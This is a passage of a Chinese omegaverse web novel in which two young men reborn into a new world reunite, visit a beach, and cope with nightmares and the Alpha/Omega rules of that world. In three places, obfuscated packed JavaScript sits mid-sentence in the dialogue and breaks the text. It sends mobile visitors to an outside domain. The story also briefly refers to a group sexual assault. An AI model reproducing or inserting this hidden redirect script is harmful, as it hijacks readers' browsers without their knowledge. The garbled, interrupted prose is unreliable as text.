陈砚知不解地皱着眉头:“为什么自杀?那么有钱活着不好吗?” “和家里有点关系。”傅亭樾没多说,反问道,“你呢,你这具身体的主人是怎么死的?” 陈砚知说:“只是生了个小病,但舍不得钱治,慢慢就没了,我也有他的记忆。” 傅亭樾担忧道:“现在好了吗?” 回头得情歌营养师来家里给陈砚知调理身体,他太瘦了,刚刚只是吃了点东西就吐成那样,在那个世界从来不会的。 “没什么感觉,应该已经好了吧。”陈砚知聊着聊着就不困了,索性坐起来跟傅亭樾说,“你说咱们是不是来到平行世界了,那他们两个会不会重生到我们的身上?” 傅亭樾拉被子给陈砚知盖好,“有可能。” 陈砚知满脸愁绪:“咱们那么高掉下去,会不会毁容啊?” 虽然他这具身体是弱了点,但至少还是完整的,万一那两个人穿过去得了具四肢不全的身体,那不亏大了嘛。 傅亭樾摇摇头:“不知道,希望他们能幸运一点吧。” 陈砚知叹了口气,漂亮的小脸耷拉着,垂眸看着自己的手,“他们会代替我们孝敬父母吗?要是知道我没了,我妈肯定会哭得不行。” 傅亭樾不知道该怎么回答,他也很茫然。 陈砚知又问:“咱们还能回去吗?” 他不想待在这个男人会生孩子的世界,他想回家。 原本陈砚知打算上大学后找个女朋友带到傅亭樾面前炫耀的,这样他就能比过傅亭樾了,毕竟傅亭樾那个木疙瘩性格肯定谈不到女朋友。 谁能想到通知书都还没拿到,他人就没了。 这真是人间惨剧,他美好的人生才过了五分之一呢。 傅亭樾隔着被子拍了拍陈砚知安抚道:“先别想那么多,说不定睡醒就能回去了。” 陈砚知嘁了一声:“别骗我了,我又不是小孩儿。” 要是睡醒就能回去,他们早就回去了。 之前他甚至想过自杀,但一想到万一真的死了,那可太完蛋了,然后他就没敢。 傅亭樾并未强词夺理,看着陈砚知漂亮的眼睛承诺道:“我会一直和你待在一起,别害怕。” 陈砚知瞥了他一眼,眼含怨念地看想窗外:“不害怕,我只是想爸妈了。” 还想那还未能上成的大学,以及还没谈到的女朋友。 傅亭樾安慰了陈砚知两句,语气严肃地叮嘱:“知知,以后在别人面前千万别提我们不是原主,不然会引来麻烦。” 陈砚知调皮道:“哈哈,我之前差点被送进精神病院。” 傅亭樾摇头叹气:“以后不能再跟别人说了。” 睁眼就到了陌生的世界,身边又没有熟悉的人,陈砚知肯定吓坏了。 从小到大,他一着急就习惯性各种解释,傅亭樾猜到他会跟别人说他不是原主。 陈砚知比了个“OK”,难得没跟傅亭樾犟。 以前傅亭樾说一句他能顶十句,现在突然来了这儿,陈砚知潜意识把他当做了依靠。 傅亭樾也没想到陈砚知这么乖,他笑着跟陈砚知说:“休息一会儿吧,要是还难受我带你去医院。” 陈砚知没休息,而是一脸好奇地问:“你现在几岁?” 他这具身体比他原来大了两岁,年底就二十了,傅亭樾应该也差不多吧。 谁料下一刻傅亭樾就说:“22岁。” 陈砚知一听,惊得从床上坐起来,不服气地往床上砰砰锤了两下:“凭什么!我只比原来大两岁,你怎么大四岁?” 原本他俩同岁的,傅亭樾只比他大半岁,怎么来了这儿直接大两岁,这太不公平了。 家世比他好就算了,身高年龄样样占优,他真的要破防了。 “年轻不好吗?”傅亭樾稍显成熟的脸上扬起一抹笑容,“你不是想去上学,二十岁刚好。” 陈砚知闷闷不乐:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372459|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能这样算啊,明明我们同岁的……” 以前爸妈让他喊傅亭樾哥哥他还能以同岁不喊哥为理由,现在该怎么办,傅亭樾结结实实比他大了两岁呢,难怪他之前看傅亭樾和原本的他不怎么像,原来是更成熟了。 傅亭樾无奈摇头:“好了,休息吧,睡醒再说。” 陈砚知失魂落魄地滑进被子里,郁闷地翻过身用后脑勺对着傅亭樾,可能是吃的药起效,没一会儿他就睡了过去。 傅亭樾在床边坐了一会儿,等陈砚知彻底睡熟后,他轻手轻脚的把人翻过来,温柔地抚摸陈砚知略显苍白的脸,眸中满是庆幸。 幸好找到你了,知知。 陈砚知睡醒后傅亭樾不在,他躺在床上看着奢华的天花板懵了一会儿,反应过来他和傅亭樾重逢后,他从床上坐起来,掀开被子下床活动了一下身体。 好像不难受,也不想吐了。 他拿上手机推门出去,直接敲了敲傅亭樾的房门,但没人应。 正好有佣人在打扫,她笑着跟陈砚知说:“大少爷在书房。” 陈砚知刚想问书房在哪儿,傅亭樾就开门出来站在门边冲他招手:“知知,来这儿。” 陈砚知连忙小跑过去,用手挡住嘴小声跟傅亭樾说:“你他丫的能不能别喊那么恶心,别人听到该误会了。” 本来这个世界就不太正常,傅亭樾又突然把他带回来,本身就很让人误会了。 陈砚知进去后,傅亭樾把门关上反锁,“那喊你小陈?” 陈砚知冲傅亭樾明晃晃地翻了个白眼:“别人听了以为我是你家佣人呢。” 傅亭樾忍着笑意:“所以?” 陈砚知不耐烦地啧了一声:“你爱怎么喊怎么喊,但在外人面前不能喊知知,腻歪死了。” 傅亭樾笑了笑,他是陈砚知的内人。 陈砚知往傅亭樾胸口上锤了一下,“听到没?” 傅亭樾拉开椅子让陈砚知坐下,乖乖回答:“听到了,以后在外面喊你陈大少爷。” 陈砚知被逗得噗嗤笑出声来,他仰头看着傅亭樾,“你有病吧。” 傅亭樾强忍着亲下去的冲动,转身走到陈砚知对面坐下。 看到他在键盘上敲敲打打,陈砚知忍不住好奇:“你在干嘛?” 傅亭樾看了陈砚知一眼:“处理工作,家里的公司是我在管理。” “那你叫我来干嘛,看你工作?”陈砚知趴在桌子上,百无聊赖地玩傅亭樾桌子上的摆件,“无聊死了。” “想问问你还有没有不舒服。”傅亭樾说着,从抽屉里拿了个魔方递给陈砚知。 陈砚知接过,几秒钟就把魔方复原,“已经好了,就吃坏个东西而已,又不是什么大毛病。” 傅亭樾松了口气:“你太瘦了,我担心有其他并发症。” 陈砚知摆摆手:“少操点心吧你,本来年纪就大,小心老得更快。” 傅亭樾并未答应,而是说:“我处理完就带你出去玩。” 陈砚知突然往前凑了凑,端着一双水汪汪的大眼睛问:“傅亭樾,你跟我一样也是Beta吗?” 傅亭樾手上动作微顿,他语气平静道:“我是Alpha,SS级。” 5. 第5章 对于傅亭樾各方面完美的顶配条件,陈砚知已经无力吐槽,准确来说是懒得嫉妒了。 傅亭樾地位越高,他俩在这个世界就能过得更加轻松,虽然那些条件加在他身上他也能很牛逼。 但他和傅亭樾已经不分彼此,谁厉害都一样。 话是这么说没错,陈砚知还是有些不死心,他像个好学的好学生,求知欲爆棚:“我以后也能分化成Alpha么,这边有成年后分化的案例不?” 傅亭樾停下手上的动作,垂眸看着陈砚知的眼睛:“有,但分化成Alpha还是Omega和家族基因有关,不是自己能决定的,而且Beta就很好,分化之后会受信息素影响。” 当然也有个例分化,傅家就没有出过顶级Alpha,这么多年也就他一个。 “可我是一个孤儿……”陈砚知话说了一半感觉不太对,他指着自己说,“他是个孤儿,你能查到他的家族基因吗?” 傅亭樾没回答陈砚知的问题,而是严肃地跟他说:“知知,你和这具身体是一体的,如果你一直分得那么清,你会过得不开心。” 太排斥这个世界和这具身体,长此以往对陈砚知没有好处。 闻言,陈砚知明显愣住,他低头看着自己的双手,表情呆呆地说:“不分清的话,万一将来我忘记自己的来处怎么办。” 傅亭樾越过电脑握住陈砚知的手,温声安抚:“不会,有我在呢,那种事情不会发生。” 只要有他在,陈砚知就永远是陈砚知,不会有任何改变。 陈砚知低着头不说话,本就苍白的唇瓣被他咬得一阵白,他抽回手焦虑地抠着指甲,不知道要不要跟傅亭樾说。 他怕被傅亭樾笑话。 傅亭樾看着陈砚知那副模样,心疼道:“知知,有什么就跟我说,别自己藏在心里。” 陈砚知从小就是被宠着长大的,看着无法无天,其实就是个没长大的小孩儿。 现在突然来到这儿他肯定会害怕。 陈砚知沉默良久,抬头看着傅亭樾的双眼发红,“傅亭樾,我怕我以后连爸爸妈妈的样子都给忘了,如果我们回不去,是不是就再也没有机会见到他们了?” 傅亭樾看着那双眼睛,到了嘴边的谎话被咽回去:“我也不知道,但事情已经发生了,换个角度想想,比起就那样死掉,现在也挺不错的是不是?” 其实和傅亭樾没相遇之前,陈砚知已经把自己哄好了,也认同这具身体和这个世界,但现在和傅亭樾重逢他就忍不住七想八想。 “我没事儿,就是抱怨两句。”陈砚知抬起手臂抹了下眼睛,深吸一口气冲傅亭樾露出笑容,“你说得对,总比真的死掉好,就当是转世投胎了。” 虽然可能再也见不到爸爸妈妈,但至少那两个人可能重生到他们身上了,父母不用体会丧子之痛。 再转念一想,傅亭樾也在这儿,他不是一个人。 陈砚知快速调整好心情,往后靠在椅背上,整个人大喇喇的瘫着,像只没骨头的猫,随时都会滑到地上。 傅亭樾放下手里的工作起身:“带你出去转转散心,免得又胡思乱想。” 陈砚知本来就希望往外跑,加上这一个月他忙着工作都没好好逛过这座城市,自然没有拒绝的理由。 上车后陈砚知满脸好奇地趴在车窗上,他没问傅亭樾要带他去哪儿,反正就这样坐在地上看看风景也挺不错的,比待在家好多了。 傅亭樾单手撑着下巴,目光灼热地看着陈砚知伸手出去摸风,唇角勾起一抹温柔的笑。 陈砚知到哪儿都那么可爱。 陈砚知突然回头,端着一张漂亮脸蛋问:“傅亭樾,我能去喝酒吗?” 好吧,没那么可爱了。 他摇摇头:“忘了刚刚吐成什么样了?” “确实忘了。”陈砚知垂眸想了想,笑着说,“那就先不喝吧,身体好了再说。” 他真的想醉一场,把烦恼都忘了。 傅亭樾没惹他不快,点头答应:“嗯,等你好了再喝。” 陈砚知满意地拍了拍傅亭樾的大腿,娇俏的哼了一声:“小傅真懂事儿。” 傅亭樾自然地握住陈砚知的手,被抽回后眸底划过一抹失落,语气却仍旧是轻快的,“陈大少爷想去哪儿逛,找个地方坐下来欣赏夜景还是去海边吹吹风?” 陈砚知认真想了想:“去海边吧,干坐着我又想吃东西。” 傅亭樾带他去了海边,这儿的海和原本那个世界没什么区别,周边很繁华,也很热闹。 下车后陈砚知满脸新奇地看着四周,他拽上傅亭樾就要走。 “等等。”傅亭樾说着,把臂弯里的外套给陈砚知披上,又调节了一下信息素手环。 陈砚知好奇地凑上去,呼吸洒在傅亭樾的手腕上,“这是什么?好神奇,还能看到你的心率。” 傅亭樾抬手往上凑了凑,差点撞到陈砚知的唇上,但被陈砚知避开了。 傅亭樾眸底划过一抹遗憾,语气如常地解释:“信息素环,能隔绝我的信息素。” “Alpha和Omega都会有吗?”陈砚知抬头看着傅亭樾,小孩子一般,“能给我弄一个吗?看起来好酷,别人看到这个肯定会以为我是Alpha.” 说着,陈砚知不自觉挺直胸膛。 傅亭樾回过神后大胆地摸了摸陈砚知的头,闷笑着说:“戴上手环别人只会以为你是Omega,漂亮的Omega.” 陈砚知拍开他的手,见四周没人注意他俩才咬牙切齿地骂道:“想死了是吧,胡说八道什么呢。” 瞧不起他呢,他一定会分化成Alpha,sss级别。 但陈砚知不知道,这个世界S级Alpha就已经很少见,要是他真的分化成SSS级,估计会被当做小白鼠抓起来做实验。 傅亭樾连忙顺毛:“我们知知肯定会分化成Alpha的。” 如果可以,他希望陈砚知一直都是Beta,这样就不用遭受信息素折磨。 “在外面别那样喊我,你又忘了。”陈砚知给了傅亭樾一肘子,气呼呼地走了。 傅亭樾跟在他身后,唇角挂着笑容。 陈砚知这具身体实在太弱,以前他跑个八百米都跟没事儿人似的,但现在走了一会儿就累得不行,傅亭樾只好带他找地方坐下休息。 陈砚知捧着常温饮料略带怨气地喝着,瞥见傅亭樾的信息素环,他忍不住问:“傅亭樾,你的信息素是什么味道的?” 他之前上网查过,每个人的信息素味道都不一样,他现在是Beta,闻不到信息素的味道,只有傅亭樾身上淡淡的木质香水味。 傅亭樾笑着说:“你想知道吗?” 陈砚知喝了一大口橙汁,对傅亭樾翻了个白眼:“废话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372460|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想知道我干嘛问。” 傅亭樾卖了个关子:“以后再告诉你。” 如果确认陈砚知不会再分化,他会告诉陈砚知的,但不是现在。 陈砚知不屑的嘁了一声:“装什么神秘,我还不想知道呢。” 有信息素了不起吗?Beta才是正常人,傅亭樾忘本。 傅亭樾没说话,一旁传来吵闹声,傅亭樾拧着眉头冲保镖使了个眼色,保镖立刻转身去处理,吵闹声很快消失,周遭恢复平静。 陈砚知坐了一会儿就开始不安分,说要去玩沙子,但傅亭樾担心他身体没好又受凉就没让他去,气得陈砚知猛灌一大杯果汁,灌完就说要去上厕所,还不让傅亭樾跟着。 傅亭樾无奈,只好让保镖陪同,等陈砚知离开后他才不紧不慢地跟上去。 陈砚知心里对傅亭樾有点怨气,但已经比以前好多了,要是他们还在原本的世界,刚刚陈砚知就不会听傅亭樾的话,直接去找其他人玩儿了。 但上完厕所他就冷静下来了,是他不对,他太闹腾了,傅亭樾是为了他好。 原本陈砚知准备上完厕所就离开,谁知道出来就看到几个高大的男人目光如虎地看着瘫坐在地上的漂亮男生。 陈砚知皱了皱眉不打算管,谁料那几个男人竟然想把失去神志的男生拖进标有“A”字样的卫生间。 陈砚知忍不住出声:“喂,你们干嘛?” 男人们根本就不管他,拖着男生继续往里走。 周围乱作一团,所有人都变得很可怕,像是被某种可怕的病毒感染了一般,都神志不清了,一个个扑向那个男生,撕扯着他的衣服。 “住手——” 陈砚知刚想冲上去,傅亭樾不知道从哪儿窜出来抓住他的手腕,拧着眉头带陈砚知离开。 陈砚知回头看着那个无助的男生,焦急道:“傅亭樾,我们不能坐视不理。” “嗯,我会让人去处理,别担心。”傅亭樾话音刚落,随行的保镖就上前把失去神志的众人分开,并疏散周围人群。 陈砚知和傅亭樾站在不远处看着,警察和救护车来得很快,周围的人似乎对这种事习以为常。 陈砚知茫然地问傅亭樾:“刚刚是怎么回事?” 他过来这一个月接触到的大部分都是Beta,所以不知道Alpha和Omega有什么不同,原主脑子里的知识实在匮乏,陈砚知还没来得及弄清其中细节。 傅亭樾言简意赅:“那个Omega进入发情期了,Alpha们闻到他的信息素被引诱进入了易感期。” 陈砚知一脸茫然。 发情期?易感期?听着好复杂的样子。 傅亭樾并未过多解释,笑着跟陈砚知说:“回头我给你拿两本书,你看完就明白了。” 姜也看着被抬上救护车的男生,好奇道:“如果不管会怎么样?” 傅亭樾淡淡说:“他会被那些Alpha一直轮,直到意识清醒过来。” 陈砚知倒吸一口凉气,满脸担忧地看向傅亭樾:“你也会有易感期,也会被别人影响吗?” 难怪刚刚傅亭樾那么着急带他离开,他怕自己失去意识? 傅亭樾盯着陈砚知担忧的眸子,唇角勾起一抹轻松的笑容,“我不会被别人影响。” 虽然他是SS级Alpha没错,但傅亭樾坚信自己只会被陈砚知影响。 6. 第6章 陈砚知原本心情很好的,但看了刚刚那一幕后不知道为什么心情有点沉重。 他潜意识里有点担心傅亭樾,怕他也被Omega的信息素影响变得失去神智。 正值酷暑,晚上海边很凉快,陈砚知却觉得有点冷。 他抱紧消瘦的胳膊,目光看着漆黑的海面:“傅亭樾,我们回去吧,我不想在外面待着了。” 傅亭樾脱下外套给陈砚知披上,没说什么,直接带他回车上。 陈砚知拢着傅亭樾的西装外套,感觉肩膀很重,可能是西装质量太好了。 他拿下外套放到傅亭樾的腿上,低头看着自己的膝盖发呆,路灯的光打进来落在他脸上,却被浓密的睫毛挡住眸底的担忧。 这个世界未知的东西太多,包括所谓的易感期和发情期。 他目前是Beta没有这个担忧,但傅亭樾是Alpha,陈砚知很担心他。 “知知。”傅亭樾温声询问,“身体又不舒服了?” 陈砚知摇摇头,搭在膝盖上的手握成拳头,关心的话说不出口,太别扭了。 以前陈砚知单方面和傅亭樾老死不相往来,现在让他说那些关心人的话显得很肉麻,而且一点也不帅气,说不定傅亭樾还会觉得他胆子小因为刚刚的事儿胡七八想。 可转念一想,来到这个世界后傅亭樾一直很关心他,也没少说关心的话,陈砚知突然觉得自己有点矫情。 他吐出一口浊气,松开紧握的拳头对傅亭樾说:“如果你也被Omega的信息素影响失去神志我要怎么救你?” 傅亭樾愣了一下,心口像是被细针扎了,迟钝的痛意密密麻麻地传来,紧接着心跳逐渐变快,震耳欲聋。 他握紧略微颤抖的手,故作镇定道:“你是在担心这个?” 陈砚知低着头,原本想用轻快的语气说,但话到了嘴边却变得沉重。 “你也是Alpha,就算你意志力再强也会被影响,万一你失去神志,我要怎么救你?打晕绑起来吗?会不会对你的身体造成伤害?” 他扭头看着傅亭樾,漂亮的大眼睛耷拉着,充满担忧。 虽然被陈砚知担心傅亭樾很开心,但他不想看到陈砚知露出这样的表情。 他伸手揉了揉陈砚知柔软的发丝,语气温和道:“没事的,这个世界有专门压制易感期和发情期的药剂,叫抑制剂,打完就能清醒过来,我不会有事的。” 陈砚知拍开傅亭樾的手,拧着眉头问:“对每个人都有用吗?” 傅亭樾点头回答:“一般来说是这样。” 陈砚知焦急道:“不一般呢?” “有些人体质特殊,或者是身体原因不能频繁打抑制剂,不然会造成不可逆的伤害。” 傅亭樾语速缓慢温和,像杯温水,不烫也不凉,刚刚好。 陈砚知嘶了一声,烦躁地扯了扯头发:“你别告诉我你就是不能打抑制剂那类人。” 傅亭樾原本想点头说是,但看着陈砚知的眼睛,他忽然不忍心,摇头说:“不是,我挺健康的,能打抑制剂。” 陈砚知猛然松了口气,紧绷的身体放松下来,他耷拉着肩膀庆幸道:“那就好。” 至少知道怎么样能救傅亭樾,就算以后遇到刚才那种情况他也不至于手足无措。 傅亭樾无声笑了笑:“回家还是再去其他地方逛逛?” “回家吧。”陈砚知摆摆手,疲惫地靠在座椅上,漂亮的小脸完全暴露,不管是在那个世界还是这儿,陈砚知都很白,路灯光落在他脸上衬得他整个人会发光一般,傅亭樾甚至能看到他皮肤下的经络。 看着陈砚知滑动的喉结,他不自觉跟着吞咽了一下,低声吩咐司机:“直接回家。” 司机恭敬应道:“好的少爷。” 陈砚知没再说话,有外人在,他担心不小心说漏嘴,索性闭嘴沉默。 回到家后陈砚知和傅亭樾上了楼,只有回卧室他才感觉到这是属于他们两个的世界。 他往沙发上一瘫,仰头对傅亭樾说:“总觉得在被人监视,好累哦。” 傅亭樾低头看着陈砚知漂亮的锁骨,不自在地轻咳一声别开视线:“不用绷的这么紧,有我在呢,如果你不小心说漏嘴我会提醒你的。” 陈砚知叹了口气:“你身边那么多人,都是你的心腹?” 但感觉不太像,虽然他从小被养的无法无天,也没体验过什么豪门争斗,但他的直觉一向很准。 才来傅亭樾家一天陈砚知就觉得这栋房子里很多人都不是向着傅亭樾的,尤其是他那些保镖和司机。 傅亭樾摇摇头:“家里安排的,原身刚接手公司没两年,加上之前突然服药自杀,他的父母担心他出事儿,所以才安排了那么多人。” 其实就是来监视他,说不定现在他们已经把陈砚知的身份查得一清二楚了。 陈砚知转过身趴在沙发上问傅亭樾:“你这边的父母是不是对你不太好?” 虽然傅亭樾从小到大就老成,也不像他那么黏父母,但他和那个世界的父母关系挺好的。 如果这边的父母也和那边一样好,傅亭樾不可能自己住。 傅亭樾纠正:“是对他不好。” 陈砚知啧啧道:“不是你让我认同这个世界,到来头你自己分的那么清?” 傅亭樾笑道:“还有点不太习惯。” 陈砚知翻了个白眼:“德行。” 傅亭樾走到陈砚知身边坐下,自我认同了一番才开口:“我还有个弟弟,父母对弟弟比较好,只是把我当做管理公司的工具人。” 陈砚知问:“你弟弟也是顶A?” 傅亭樾摇摇头:“只是个普通Alpha,身体还不太好。” 根据原身的记忆,父母从小就对弟弟偏心,就连公司继承权也准备给弟弟,而傅亭樾只是帮忙管理公司的打工人,因此原主才会想不开自杀。 陈砚知不解:“那他们图什么,放着你这个顶级Alpha不培养,偏心一个成不了气候的病秧子?” 傅亭樾无所谓地耸肩:“不懂。” 反正那也不是他的父母,等他在这个世界站稳脚跟后会着手成立自己的公司,他不会把自己和陈砚知的命门交给别人,他要不靠任何人地往上爬,在这个世界护着陈砚知。 陈砚知噗嗤笑道:“感觉你和他们不太熟的样子。” 傅亭樾也跟着笑起来:“确实不熟,只见过一面,上次我还在医院的时候见的。” 陈砚知破天荒地开口安慰人:“没事儿,反正也不是你的父母,大不了以后咱们自己挣钱成立公司,和家里断了就行。” 原本他以为傅亭樾这个世界的父母对他好就好了,但现在他不这样想,他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372461|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅亭樾才是唯一能依靠彼此的,其他人都靠不住。 闻言,傅亭樾嘴角的笑容加深:“听你的。” 他们两个真默契,居然不谋而合。 陈砚知傲娇地抬起下巴:“当然得听我的了,不然你还想听谁的。” 傅亭樾笑笑,起身对他说:“时间不早了,你先洗漱休息吧,明天再说。” 陈砚知站起来伸了个懒腰,从衣柜里翻出一套睡衣就去洗漱了。 傅亭樾在他房间逗留了一会儿,确认不差什么才转身离开。 陈砚知洗完澡出来就钻进被子里准备睡觉,今天这一天实在发生太多事儿,他躺下没一会儿就沉沉睡了过去。 半夜陈砚知做了噩梦,梦到他和傅亭樾乘坐的大巴车坠落,他们没有来到这个陌生的世界,而是真的死了,父母抱着他们摔得面目全非的尸体哭得撕心裂肺。 陈砚知是被吓醒的,看着四周陌生的环境,他大口喘着粗气,额头上都是汗。 这是他第一次做这样的梦,陈砚知不知道什么才是真实。 说不定重生到这个世界才是假的,梦里才是真的。 他越想越害怕,摸到手机打开手电筒赤脚下了床,径直推开门走到傅亭樾卧室门口敲了敲门。 傅亭樾来到这儿后一直不敢睡得太死,而且今晚陈砚知在隔壁,他就更不敢睡死,听到敲门声他第一时间开灯起床开门。 看到陈砚知那一刻,傅亭樾的心被扎了一下,刺疼。 从小明媚张扬的陈砚知一脸不安地握着手机站在门口,鞋也没穿,额头上都是汗。 傅亭樾没多问,弯腰把陈砚知抱起来转身进屋,“知知,你怎么了?” 陈砚知像是被抽走了灵魂,乖乖窝在傅亭樾怀里,握着手机的手因为太用力而骨节泛白。 傅亭樾抱着陈砚知坐在沙发上,温柔地帮他擦拭额头上的汗,“做噩梦了是不是?别怕,我在这儿呢,没事了。” 陈砚知好一会儿才回过神来,满脸惊恐地问:“傅亭樾,我们真的还活着吗?” 傅亭樾握住他颤抖的手,看着陈砚知微张的瞳孔跟他说:“真的还活着,不信你掐我试试。” 陈砚知攥紧傅亭樾的手,紧张道:“我、我梦到我们死了,爸妈和叔叔阿姨抱着我们的尸体哭,我们两个面目全非的,都快成肉泥了。” 傅亭樾满脸心疼:“知知别哭,那只是个梦而已,我们来到这儿,那两个人肯定也去了我们的世界,他们会代替我们活下去的。” 陈砚知想说自己没哭,但他摸到了自己的眼泪。 傅亭樾抱住陈砚知,哄小孩似的拍着他的背:“知知不怕,刚刚的是梦,现在才是真的。” 听着傅亭樾有力的心跳声,陈砚知逐渐冷静下来。 傅亭樾怀里太热了,他被闷出了一头汗,陈砚知推了傅亭樾一下,从他腿上下来。 他轻咳一声,不自在道:“我没事儿了,刚刚只是个意外。” 傅亭樾没多说,握住陈砚知冰凉的手问:“要不要跟我一起睡?” 原本陈砚知想拒绝的,但一想到刚刚那个梦他就害怕,在傅亭樾身边他才能确定是不是在做梦。 他看了傅亭樾一眼,点头答应,简单洗漱过后他踩着傅亭樾的大拖鞋爬上床,窝在充满傅亭樾味道的被褥间,不安的心逐渐安定下来。 7. 第7章 陈砚知彻底在傅亭樾的别墅住下来,但他每晚都会做噩梦,不是梦到他和傅亭樾死了,就是被这个世界的人发现他们的身份把他们抓起来抽血做实验。 起初因为和傅亭樾一起睡他能安心些,勉强睡得着,后来完全不行了,连着失眠好几天,陈砚知感觉自己都快精神衰弱了。 彼时他在傅亭樾办公室的沙发上躺着,眼睛瞪得圆圆地看着天花板,眼下有明显的乌青,本就苍白的脸看着更加没有血色。 他打了个哈欠,扭头看向一旁的傅亭樾,端着一双水汪汪的大眼睛郁闷道:“傅亭樾,再这样下去我会困死的。” 傅亭樾起身拿了个毯子给陈砚知盖上,心疼地看着他憔悴的脸,“等会儿去医院看看,你心理压力太大了。” 陈砚知叹了口气,小脸皱巴巴的,“万一我乱说话怎么办?” 傅亭樾温柔地拍拍他的肩膀安慰:“没事,到时候就跟心理医生说是做梦,他不会怀疑的。” 陈砚知裹紧毯子,闻着上面独属于傅亭樾的香味,眼皮越来越重:“对哦,你好聪明。” 傅亭樾看着他那副困得不行的样子,说话的语气都变得温柔,生怕惊到陈砚知的瞌睡,“睡一会儿吧,睡醒再去医院。” 陈砚知“唔”了一声,拉起毯子蒙着头,翻身背对着傅亭樾,身体蜷缩着,小孩儿似的。 看着他没有安全感的睡姿,傅亭樾眸底的心疼更加明显。 和他重逢之前陈砚知过得苦,一天只吃一顿饭瘦的只剩皮包骨,好不容易重逢他能好好养着陈砚知了,陈砚知又虚不受补不能吃得太好。 加上最近晚上睡不好,他白天就更没胃口吃东西,比之前更瘦了一些。 许是困极了,陈砚知难得睡得安稳,傅亭樾把毯子往下扯了扯他都没醒。 看着他削尖的下巴,傅亭樾既自责又心疼。 把空调温度调好后,他轻手轻脚地回到办公桌前继续工作,并让助理联系了傅家旗下的私人医院,等陈砚知睡醒后就带他去检查身体,顺便做心理治疗。 陈砚知睡了一会儿就开始做噩梦,他从梦中惊醒,顶着一头汗坐在沙发上,双眼空洞无神,本就有些苍白的脸更白了,像只受惊的小兔子。 傅亭樾不在办公室,但给陈砚知发了消息说要去开会,一会儿就回来。 陈砚知把手机扔在一旁,又把乱糟糟的毯子叠好才去卫生间洗脸。 洗完脸思绪变得清晰,他双手撑在洗手池边看着镜子中自己憔悴的模样,眉头忍不住皱起。 太差劲了陈砚知,怎么能把自己搞得这么狼狈。 只是个梦而已,有什么好担心的,死就死了呗,反正从那么高的地方坠落本来也是活不了的,现在这样已经是祖宗保佑了。 打起精神来,别再让傅亭樾担心了。 陈砚知吐出一口浊气,快速调整好心情才转身出去。 当天下午陈砚知和傅亭樾一起去了医院,检查结果不出所料,他严重营养不良,胃也不好,加上最近总做噩梦,他的状态很差。 做完心理治疗后陈砚知感觉好多了,脸色也恢复了一丝红润。 其实不来做心理治疗也没关系,他已经自己调节好了,但又怕傅亭樾担心,便乖乖听了他的安排。 虽然医生说没什么大碍慢慢养着就行,但傅亭樾不放心,让人给陈砚知抓了一个疗程的中药。 陈砚知啧啧两声:“不是哥们儿,我年纪轻轻就喝中药,这对吗?” 傅亭樾口吻老成:“中药温和不伤身,光靠膳食很难养起来,喝点药好得更快。” 陈砚知噗嗤一声:“你别这么说话,太好笑了。” 主要是傅亭樾壳比他大两岁,芯却是实实在在跟他同岁的,突然用这种语气说话他就忍不住想笑。 傅亭樾无奈摇头:“你啊,这才跟我分开一个月就差点把自己给养废了。” 陈砚知连忙反驳:“话可不能这么说,要是有条件我还能过得那么惨?这不是条件不允许嘛,我已经很努力了,而且你这话有歧义,别人听了该以为我俩以前关系很好了。” 以前他和傅亭樾可是老死不相往来,现在这是不得已被命运裹挟,而且他突然发现傅亭樾人还不错,临死前还用自己的身体护着他的人,天大的仇陈砚知也能原谅,更何况他和傅亭樾根本就没仇,单纯就是陈砚知看不惯他。 其实小时候他俩关系挺好的,不知道什么时候就突然变得很差。 陈砚知仔细回想了一下,好像是他先疏远傅亭樾的,但具体是因为什么事儿他给忘了。 他忘性大,前一天还说再也不跟傅亭樾玩儿,第二天早上傅亭樾来接他去上学时陈砚知还是会乖乖上车。 傅亭樾垂眸看着陈砚知转来转去的眼睛,唇角勾起一抹淡淡的笑容:“不好吗?我们不是一直都很好。” 闻言,陈砚知忍不住说:“你怕不是记忆出现混乱了。” 傅亭樾摇摇头,表情认真地看着陈砚知:“没有,在我的记忆中我们一直都很好,难道知知不这么觉得?” 陈砚知偶尔会耍小脾气,但傅亭樾觉得很可爱,除了把他扔下去跟别人玩的时候很可恶之外,陈砚知在傅亭樾眼里一直都是最可爱的存在。 “是吗?”陈砚知挠挠头,突然不知道是他记忆混乱还是傅亭樾记忆混乱了。 傅亭樾点头:“是的。” 在他心里,他和陈砚知一直都是最要好的,陈砚知也是他唯一的朋友,从小到大都是。 但陈砚知朋友很多,多到都快没有傅亭樾的位置了。 突然来到这个世界傅亭樾心里也有恐慌,但一想到在这儿陈砚知只认识他一个人,只能跟他好,傅亭樾心里就升起一股隐秘的兴奋感。 在这儿陈砚知是属于他一个人的,没有人能把他从他身边抢走。 